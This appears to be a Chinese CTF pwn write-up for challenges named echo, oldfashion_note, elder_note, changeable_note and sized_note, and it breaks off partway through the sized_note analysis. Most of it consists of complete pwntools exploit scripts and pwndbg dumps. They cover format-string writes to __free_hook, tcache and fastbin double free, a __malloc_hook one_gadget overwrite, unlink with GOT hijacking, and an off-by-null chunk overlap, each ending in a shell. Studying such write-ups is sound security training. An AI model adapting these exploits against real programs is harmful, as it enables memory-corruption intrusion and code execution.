16:00b0│ 0x7fffffffdd48 —▸ 0x5555555552a4 (vuln+148) ◂— jmp 0x555555555233
17:00b8│ rsp 0x7fffffffdd50 —▸ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0
18:00c0│ 0x7fffffffdd58 ◂— 0x58555550e0
19:00c8│ 0x7fffffffdd60 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
1a:00d0│ 0x7fffffffdd68 ◂— 0xc441dc61c3e26500
1b:00d8│ rbp 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0
1c:00e00x7fffffffdd78 —▸ 0x5555555552c2 (main+28) ◂— mov eax, 0 // target
1d:00e80x7fffffffdd80 ◂— 0x0
1e:00f0│ 0x7fffffffdd88 —▸ 0x7ffff7dea0b3 (__libc_start_main+243) // target
1
2
3
4
0x555555559000     0x55555557a000 rw-p    21000 0      [heap]
0x7ffff7dc3000 0x7ffff7de8000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7de8000 0x7ffff7f60000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7f60000 0x7ffff7faa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so

解释一下:

1
-0x5555555592a0-0x58-0x7ffff7ed4142-0x5555555592a0-0x7ffff7dca548-0x7fffffffdd70-0x58555550e0-0x5555555592a0-0xc441dc61c3e26500-0x7fffffffdd80-0x5555555552c2-(nil)-0x7ffff7dea0b3-0x7ffff7ffc620-0x7fffffffde78

前6个是寄存器中存放的值(在stack中也有),后续的信息才是重点

​ // 可以直接用后面的数据来定位,这里考虑不周,搞复杂了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.sendlineafter('>> ','100')
payload='-%11$p-%13$p'
p.sendline(payload)

p.recvuntil('-')
main_addr=eval(p.recvuntil('-')[:-1])-28
__libc_start_main=eval(p.recvuntil('\n')[:-1])-243
success('main_addr >> '+hex(main_addr))
success('__libc_start_main >> '+hex(__libc_start_main))

pro_base=main_addr-0x12A6
libc_base=__libc_start_main-libc.sym['__libc_start_main']
success('pro_base >> '+hex(pro_base))
success('libc_base >> '+hex(libc_base))

当“realloc”的参数“new_size”为“0”时,程序会执行“free”,所以考虑打“free_hook”

通常利用格式化漏洞来 WAA 需要一个条件:在两片内存空间中,最后指向的地址相同

偏移为“6”,偏移为“10”,这两处内存空间中,最后都指向“0x7fffffffdd80”

利用格式化漏洞进行修改:

目标:修改“free_hook”为“system”

第一步,把“ __libc_start_main ”修改为“free_hook”

  • 这一步需要“偏移6”和“偏移10”的配合
  • 先修改“偏移6”为“ __libc_start_main_in_stack ”(最后1字节)
  • 对应的“偏移10”最终也会指向“ __libc_start_main_in_stack ”
  • 修改“偏移10”为“free_hook”(最后4字节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload = "%{}c%6$hhn\n".format(__libc_start_main_in_stack+2)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format((__free_hook >> 16) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%6$hhn\n".format(__libc_start_main_in_stack)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format(__free_hook & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

第二步,把“free_hook”写入“system”

  • 这一步需要“偏移10”和“偏移13”的配合
  • 先修改“偏移10”为“ __free_hook ”(最后6字节,第一次不用)
  • 对应的“偏移13”最终也会指向“ __free_hook ”
  • 修改“偏移13”为“system”(最后6字节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
payload = "%{}c%13$hn\n".format((system) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format(__free_hook + 2 & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%13$hn\n".format((system >> 16) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format(__free_hook + 4 & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%13$hn\n".format((system >> 32) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*

p=process('./echo')
elf=ELF('./echo')
libc=ELF('./libc-2.31.so')
context(log_level='debug')

p.sendlineafter('>> ','100')
payload='-%11$p-%13$p'
p.sendline(payload)

p.recvuntil('-')
main_addr=eval(p.recvuntil('-')[:-1])-28
__libc_start_main=eval(p.recvuntil('\n')[:-1])-243
success('main_addr >> '+hex(main_addr))
success('__libc_start_main >> '+hex(__libc_start_main))

pro_base=main_addr-0x12A6
libc_base=__libc_start_main-libc.sym['__libc_start_main']
success('pro_base >> '+hex(pro_base))
success('libc_base >> '+hex(libc_base))

p.sendlineafter('>> ','100')
payload='-%6$p'
p.sendline(payload)
p.recvuntil('-')
rbp_val=eval(p.recvuntil('-')[:-1])
__free_hook = libc_base + libc.sym["__free_hook"]
__libc_start_main_in_stack = (rbp_val & 0xFF) + 0x18
success('__libc_start_main_in_stack >> '+hex(__libc_start_main_in_stack))
success("__free_hook: " + hex(__free_hook))

payload = "%{}c%6$hhn\n".format(__libc_start_main_in_stack+2)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format((__free_hook >> 16) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%6$hhn\n".format(__libc_start_main_in_stack)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format(__free_hook & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

system=libc_base+libc.sym['system']
success("system: " + hex(system))

payload = "%{}c%13$hn\n".format((system) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format(__free_hook + 2 & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%13$hn\n".format((system >> 16) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%10$hn\n".format(__free_hook + 4 & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "%{}c%13$hn\n".format((system >> 32) & 0xFFFF)
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)

payload = "/bin/sh\x00"
p.recvuntil("length:\n>> ")
p.sendline("100")
p.send(payload)
p.recvuntil("length:\n>> ")
p.sendline("0")

p.interactive()

oldfashion_note

64位,dynamically,全开

十分简单的堆操作

入侵思路

“free模块”中没有置空指针,有 UAF 和 Double free 漏洞

因为程序的libc版本过高,在 Tcache 中的 Double free 有检查,所以先在 fastbin 中进行 Double free

先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def show(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))

def farewell():
p.sendlineafter('>> ','4')

Tcache 的 leak 需要先把 Tcachebin 填满,接下来释放的“chunk->size”必须大于“0x80”(不在fastbin中),那么它就会进入 Unsortedbin ,可以打 Unsortedbin leak

先申请9个chunk:(7个填Tcachebin,1个leak,1个防止和合并Top chunk)

1
2
3
4
5
6
7
8
9
10
11
12
for i in range (9):
add(i,0x100,'aaaa')

for i in range (7):
delete(i)

delete(7)
show(7)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

“chunk8”进入 Unsortedbin

1
2
tcachebins
0x110 [ 7]: 0x560a87ba7900 —▸ 0x560a87ba77f0 —▸ 0x560a87ba76e0 —▸ 0x560a87ba75d0 —▸ 0x560a87ba74c0 —▸ 0x560a87ba73b0 —▸ 0x560a87ba72a0 ◂— 0x0
1
2
3
4
5
6
7
    0x55d06da11000     0x55d06da32000 rw-p    21000 0      [heap]
0x7f61ab950000 0x7f61ab975000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7f61ab975000 0x7f61abaed000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7f61abaed000 0x7f61abb37000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
---------------------------------------------------------------------------
In [2]: hex(0x7f61abb3bbe0-0x7f61ab950000)
Out[2]: '0x1ebbe0'

再申请10个chunk:(7个填Tcachebin,2个Double free,1个防止和合并Top chunk)

1
2
3
4
5
6
7
8
9
for i in range (9):
add(i,0x50,'aaaa')
add(9,0x50,'/bin/sh\x00')
for i in range (7):
delete(i)

delete(7)
delete(8)
delete(7)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tcachebins
0x60 [ 7]: 0x55a23e26ddb0 —▸ 0x55a23e26dd50 —▸ 0x55a23e26dcf0 —▸ 0x55a23e26dc90 —▸ 0x55a23e26dc30 —▸ 0x55a23e26da70 —▸ 0x55a23e26da10 ◂— 0x0
0x110 [ 7]: 0x55a23e26d900 —▸ 0x55a23e26d7f0 —▸ 0x55a23e26d6e0 —▸ 0x55a23e26d5d0 —▸ 0x55a23e26d4c0 —▸ 0x55a23e26d3b0 —▸ 0x55a23e26d2a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x55a23e26de00 —▸ 0x55a23e26de60 ◂— 0x55a23e26de00
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x55a23e26dac0 —▸ 0x7f8bcb966c20 (main_arena+160) ◂— 0x55a23e26dac0

最后把“free_hook”中写入“system”就好了(注意“/bin/sh”在第十个chunk中,不要覆盖了)

1
2
3
4
5
6
7
for i in range (7):
add(i,0x50,'aaaa') # 把tcachebin中的chunk申请出来

add(10,0x50,p64(free_hook))
add(11,0x50,p64(0))
add(12,0x50,p64(0))
add(13,0x50,p64(system_libc))

“add(10,0x50,p64(free_hook))”执行后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> bins
tcachebins
0x60 [ 3]: 0x55bf1a900e70 —▸ 0x55bf1a900e10 —▸ 0x7fa9dafa3b28 (__free_hook) ◂— 0x0
0x110 [ 7]: 0x55bf1a900900 —▸ 0x55bf1a9007f0 —▸ 0x55bf1a9006e0 —▸ 0x55bf1a9005d0 —▸ 0x55bf1a9004c0 —▸ 0x55bf1a9003b0 —▸ 0x55bf1a9002a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x55bf1a900ac0 —▸ 0x7fa9dafa0c20 (main_arena+160) ◂— 0x55bf1a900ac0

“chunk8”和“chunk10”指向同一片内存,“add(10,0x50,p64(free_hook))”执行时,会把fastbin中的chunk写入tcachebin,然后在“chunk8->next”中写入“free_hook”(“chunk8”脱链)

最后申请“chunk10”时,会申请到“free_hook”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*

p=process('./note')
elf=ELF('./note')
libc=ELF('./libc-2.31.so')

#gdb.attach(p)

def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendlineafter('content?\n>> ',content)

def show(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))

def farewell():
p.sendlineafter('>> ','4')

for i in range (9):
add(i,0x100,'aaaa')
for i in range (7):
delete(i)

delete(7)
show(7)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

system_libc=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
success('system_libc >> '+hex(system_libc))
success('free_hook >> '+hex(free_hook))

for i in range (9):
add(i,0x50,'aaaa')
add(9,0x50,'/bin/sh\x00')
for i in range (7):
delete(i)

delete(7)
delete(8)
delete(7)

for i in range (7):
add(i,0x50,'aaaa')

add(10,0x50,p64(free_hook))
add(11,0x50,p64(free_hook))
add(12,0x50,p64(free_hook))
add(13,0x50,p64(system_libc))

delete(9)

#pause()

p.interactive()

PS:在 tcachebin 里面的 double free 少一个malloc检查,轻松了不少

week3

elder_note

64位,dynamically,全开

程序提供了4个选项

代码分析

“free模块”没有置空指针,可以打UAF,Double free

入侵思路

打 Double free,先搭好模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def show(index,content):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))
p.sendline(content)

def farewell():
p.sendlineafter('>> ','4')

先打 Unsortedbin leak:

1
2
3
4
5
6
7
8
add(0,0x80,'aaaa')
add(1,0x80,'aaaa')
delete(0)
show(0)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

再打 Double free:

1
2
3
4
5
6
7
8
add(0,0x30,'aaaa')
add(2,0x60,'bbbb')
add(3,0x60,'bbbb')
add(4,0x60,'bbbb')

delete(2)
delete(3)
delete(2)
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x559541c25120 —▸ 0x559541c25190 ◂— 0x559541c25120
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x559541c25040 —▸ 0x7fe5b60c3bb8 (main_arena+152) ◂— 0x559541c25040

最后打“malloc_hook”

我们的目标是在“malloc_hook”中写入“one_gadget”,但是不能直接 fastbin attack(因为malloc会对 fastbin chunk 的size位进行检查,free chunk 的size位必须对应相等)

这里用了一个小技巧:(拆分现成的地址来构造数据,通常为“\x7f”)

1
2
3
4
5
6
7
8
pwndbg> x/20xw 0x7f95cd91baed+0x23
0x7f95cd91bb10 <__malloc_hook>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f95cd91bb20 <main_arena>: 0x00000000 0x00000000 0x00000000 0x00000000
--------------------------------------------------------------
pwndbg> x/20xw 0x7f95cd91baed
0x7f95cd91baed <_IO_wide_data_0+301>: 0x60000000 0x95cd91a2 0x0000007f 0x00000000
0x7f95cd91bafd: 0xa0000000 0x95cd5dce 0x7000007f 0x95cd5dca
0x7f95cd91bb0d <__realloc_hook+5>: 0x0000007f 0x00000000 0x00000000 0x00000000

在“__malloc_hook”上方“0x23”的位置可以分割出“\x7f”

1
2
3
4
5
6
7
8
9
10
11
12
free_hook=libc_base+libc.sym['__free_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.sym["__libc_realloc"]
system_libc=libc_base+libc.sym['system']
one_gadget = libc_base + 0x4527a
success('one_gadget >> '+hex(one_gadget))

add(0,0x60,p64(malloc_hook - 0x23))
add(0,0x60,p64(malloc_hook - 0x23))
add(0,0x60,p64(malloc_hook - 0x23))

add(0, 0x60, 'c' * 0xb + p64(one_gadget) + p64(realloc + 0x10))

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

p=process("./note")
elf=ELF("./note")
libc = ELF("./libc-2.23.so")

def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def show(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))

def farewell():
p.sendlineafter('>> ','4')


add(0,0x80,'aaaa')
add(1,0x80,'aaaa')
delete(0)
show(0)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

add(0,0x30,'aaaa')
add(2,0x60,'bbbb')
add(3,0x60,'bbbb')
add(4,0x60,'bbbb')

delete(2)
delete(3)
delete(2)

free_hook=libc_base+libc.sym['__free_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.sym["__libc_realloc"]
system_libc=libc_base+libc.sym['system']
one_gadget = libc_base + 0x4527a
success('one_gadget >> '+hex(one_gadget))

add(0,0x60,p64(malloc_hook - 0x23))
add(0,0x60,p64(malloc_hook - 0x23))
add(0,0x60,p64(malloc_hook - 0x23))

add(0, 0x60, 'c' * 0xb + p64(one_gadget) + p64(realloc + 0x10))

p.sendlineafter(">> ", "1")
p.sendlineafter(">> ", str(0))
p.sendlineafter(">> ", str(0))

p.interactive()

changeable_note

64位,dynamically,开了NX,开了canary

程序有4个功能

入侵思路

“free模块”置空了指针,打不了 Double free

“修改模块”模块有堆溢出,可以打 unlink攻击

先搭好模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def edit(index,content):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))
p.sendline(content)

def farewell():
p.sendlineafter('>> ','4')

打unlink,需要获取目标chunk的FD指针

  • 伪造“chunk->presize”为“0”,“chunk->size”为“true_szie - 0x10”
  • 把FD伪造为“list_add - 0x18”,把BK伪造为“list_addr - 0x10”
  • 溢出到下一个chunk,修改“last_chunk->presize”为“true_szie - 0x10”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
notes_addr=0x4040C0
list_addr_chunk2=notes_addr+0x8

add(0,0xa0,'\n')
add(1,0xa0,'\n')
add(2,0xa0,'\n')
add(3,0xa0,'\n')

payload=p64(0)+p64(0xa0)
payload+=p64(list_addr_chunk2-0x18)
payload+=p64(list_addr_chunk2-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

edit(1,payload)
delete(2)
1
2
3
4
pwndbg> x/20xg 0x4040C0
0x4040c0 <notes>: 0x000000000200a010 0x00000000004040b0
0x4040d0 <notes+16>: 0x0000000000000000 0x000000000200a220
0x4040e0 <notes+32>: 0x0000000000000000 0x0000000000000000

unlink攻击成功了,直接打GOT劫持,顺便泄露“libc_base”

  • 劫持“free_got”为“puts”,用于泄露“libc_base”
  • 打印“__libc_start_main”,泄露“libc_base”
  • 修改“atoi”为“system”,获取shell
1
2
3
4
5
6
7
8
9
10
11
12
payload=p64(0) * 2
payload+=p64(elf.got['free']) + p64(elf.got['__libc_start_main'])
payload+=p64(elf.got['atoi'])
edit(1, payload)

edit(0, p64(elf.sym['puts'])[:-1])
delete(1)

leak_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak_addr-libc.sym["__libc_start_main"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context.log_level="debug"
p=process("./note")
elf=ELF("./note")
libc = ELF("./libc-2.23.so")

def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def edit(index,content):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))
p.sendline(content)

def farewell():
p.sendlineafter('>> ','4')

#gdb.attach(p)

notes_addr=0x4040C0

add(0,0xa0,'\n')
add(1,0xa0,'\n')
add(2,0xa0,'\n')
add(3,0xa0,'\n')

list_addr_chunk2=notes_addr+0x8

payload=p64(0)+p64(0xa0)
payload+=p64(list_addr_chunk2-0x18)
payload+=p64(list_addr_chunk2-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

edit(1,payload)
delete(2)

payload=p64(0) * 2
payload+=p64(elf.got['free']) + p64(elf.got['__libc_start_main'])
payload+=p64(elf.got['atoi'])
edit(1, payload)

edit(0, p64(elf.sym['puts'])[:-1])
delete(1)

leak_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak_addr-libc.sym["__libc_start_main"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))

edit(2, p64(system)[:-1])
p.sendlineafter(">> ", '/bin/sh\x00')

#pause()

p.interactive()

sized_note

64位,dynamically,全开

IDA分析出错,直接看汇编:

代码分析

“free模块”置空了指针,掐掉了UAF

“修改模块”中的“size”,严格遵守“malloc模块”中的“size”,视乎没有堆溢出

但是它会强行把输入结束后的下一个字节覆盖为“\x00”,这种想要中断puts的行为反而造成了off-by-null漏洞

入侵思路

先搭好模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def delete(index):
p.sendlineafter('>> ','3')
p.sendlineafter('index?\n>> ',str(index))

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('index?\n>> ',str(index))
p.sendlineafter('size?\n>> ',str(size))
p.sendafter('content?\n>> ',content)

def show(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index?\n>> ',str(index))

def edit(index,content):
p.sendlineafter('>> ','4')
p.sendlineafter('index?\n>> ',str(index))
p.send(content)

def farewell():
p.sendlineafter('>> ','4')

程序使用了libc 2.29,所以要先填满 Tcachebin

1
2
3
4
5
for i in range(0, 11):
add(i, 0xF8, "a"*0xF0+"b"*0x8) # 方便观察

for i in range(3, 10):
delete(i)

因为程序的“show”和“edit”都只能对allocated chunk进行操作,所以多申请两个chunk(chunk1,chunk2)

1
2
3
pwndbg> bins
tcachebins
0x100 [ 7]: 0x5635c29f0b60 —▸ 0x5635c29f0a60 —▸ 0x5635c29f0960 —▸ 0x5635c29f0860 —▸ 0x5635c29f0760 —▸ 0x5635c29f0660 —▸ 0x5635c29f0560 ◂— 0x0
1
2
3
4
5
delete(0) # chunk0进入unsortedbin,可以打leak
edit(1, 'a' * 0xF0 + p64(0x200))
delete(2)
add(0, 0x70, "\n")
add(0, 0x70, "\n")

edit(1, ‘a’ * 0xF0 + p64(0x200))执行前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/20xg 0x55a67dfb3350
0x55a67dfb3350: 0x0000000000000100 0x0000000000000100 # chunk1(allocated)
0x55a67dfb3360: 0x6161616161616161 0x6161616161616161
0x55a67dfb3370: 0x6161616161616161 0x6161616161616161
0x55a67dfb3380: 0x6161616161616161 0x6161616161616161
0x55a67dfb3390: 0x6161616161616161 0x6161616161616161
0x55a67dfb33a0: 0x6161616161616161 0x6161616161616161
0x55a67dfb33b0: 0x6161616161616161 0x6161616161616161
0x55a67dfb33c0: 0x6161616161616161 0x6161616161616161
0x55a67dfb33d0: 0x6161616161616161 0x6161616161616161
0x55a67dfb33e0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x55a67dfb33f0: 0x6161616161616161 0x6161616161616161
0x55a67dfb3400: 0x6161616161616161 0x6161616161616161
0x55a67dfb3410: 0x6161616161616161 0x6161616161616161
0x55a67dfb3420: 0x6161616161616161 0x6161616161616161
0x55a67dfb3430: 0x6161616161616161 0x6161616161616161
0x55a67dfb3440: 0x6161616161616161 0x6161616161616161
0x55a67dfb3450: 0x6262626262626262 0x0000000000000101 # chunk2(allocated)
0x55a67dfb3460: 0x6161616161616161 0x6161616161616161
0x55a67dfb3470: 0x6161616161616161 0x6161616161616161
0x55a67dfb3480: 0x6161616161616161 0x6161616161616161

edit(1, ‘a’ * 0xF0 + p64(0x200))执行后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> x/20xg 0x561f0e5bf250
0x561f0e5bf250: 0x0000000000000000 0x0000000000000101 # chunk0(free)
0x561f0e5bf260: 0x00007f512b29eca0 0x00007f512b29eca0
0x561f0e5bf270: 0x6161616161616161 0x6161616161616161
0x561f0e5bf280: 0x6161616161616161 0x6161616161616161
0x561f0e5bf290: 0x6161616161616161 0x6161616161616161
0x561f0e5bf2a0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf2b0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf2c0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf2d0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf2e0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x561f0e5bf2f0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf300: 0x6161616161616161 0x6161616161616161
0x561f0e5bf310: 0x6161616161616161 0x6161616161616161
0x561f0e5bf320: 0x6161616161616161 0x6161616161616161
0x561f0e5bf330: 0x6161616161616161 0x6161616161616161
0x561f0e5bf340: 0x6161616161616161 0x6161616161616161
0x561f0e5bf350: 0x0000000000000100 0x0000000000000100 # chunk1(allocated)
0x561f0e5bf360: 0x6161616161616161 0x6161616161616161
0x561f0e5bf370: 0x6161616161616161 0x6161616161616161
0x561f0e5bf380: 0x6161616161616161 0x6161616161616161
pwndbg>
0x561f0e5bf390: 0x6161616161616161 0x6161616161616161
0x561f0e5bf3a0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf3b0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf3c0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf3d0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf3e0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf3f0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf400: 0x6161616161616161 0x6161616161616161
0x561f0e5bf410: 0x6161616161616161 0x6161616161616161
0x561f0e5bf420: 0x6161616161616161 0x6161616161616161
pwndbg>
0x561f0e5bf430: 0x6161616161616161 0x6161616161616161
0x561f0e5bf440: 0x6161616161616161 0x6161616161616161
0x561f0e5bf450: 0x0000000000000200 0x0000000000000100 # chunk2(allocated)
0x561f0e5bf460: 0x6161616161616161 0x6161616161616161
0x561f0e5bf470: 0x6161616161616161 0x6161616161616161
0x561f0e5bf480: 0x6161616161616161 0x6161616161616161
0x561f0e5bf490: 0x6161616161616161 0x6161616161616161
0x561f0e5bf4a0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf4b0: 0x6161616161616161 0x6161616161616161
0x561f0e5bf4c0: 0x6161616161616161 0x6161616161616161

修改了chunk2的“chunk->presize”,使chunk2误以为chunk0是它相邻的上一个chunk,导致了后续释放chunk2时,“chunk0,chunk1,chunk2”三者合并进入unsortedbin

​ // 溢出的“\x00”把P位变为“0”

连续两次malloc都会在unsortedbin中申请:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/20xg 0x55b7be1ba250
0x55b7be1ba250: 0x0000000000000000 0x0000000000000081 # chunk0_new
0x55b7be1ba260: 0x00007f0d34c9000a 0x00007f0d34c9bf90
0x55b7be1ba270: 0x6161616161616161 0x6161616161616161
0x55b7be1ba280: 0x6161616161616161 0x6161616161616161
0x55b7be1ba290: 0x6161616161616161 0x6161616161616161
0x55b7be1ba2a0: 0x6161616161616161 0x6161616161616161
0x55b7be1ba2b0: 0x6161616161616161 0x6161616161616161
0x55b7be1ba2c0: 0x6161616161616161 0x6161616161616161
0x55b7be1ba2d0: 0x6161616161616161 0x0000000000000081 # chunk1_new
0x55b7be1ba2e0: 0x00007f0d34c9000a 0x00007f0d34c9bca0
pwndbg>
0x55b7be1ba2f0: 0x6161616161616161 0x6161616161616161
0x55b7be1ba300: 0x6161616161616161 0x6161616161616161
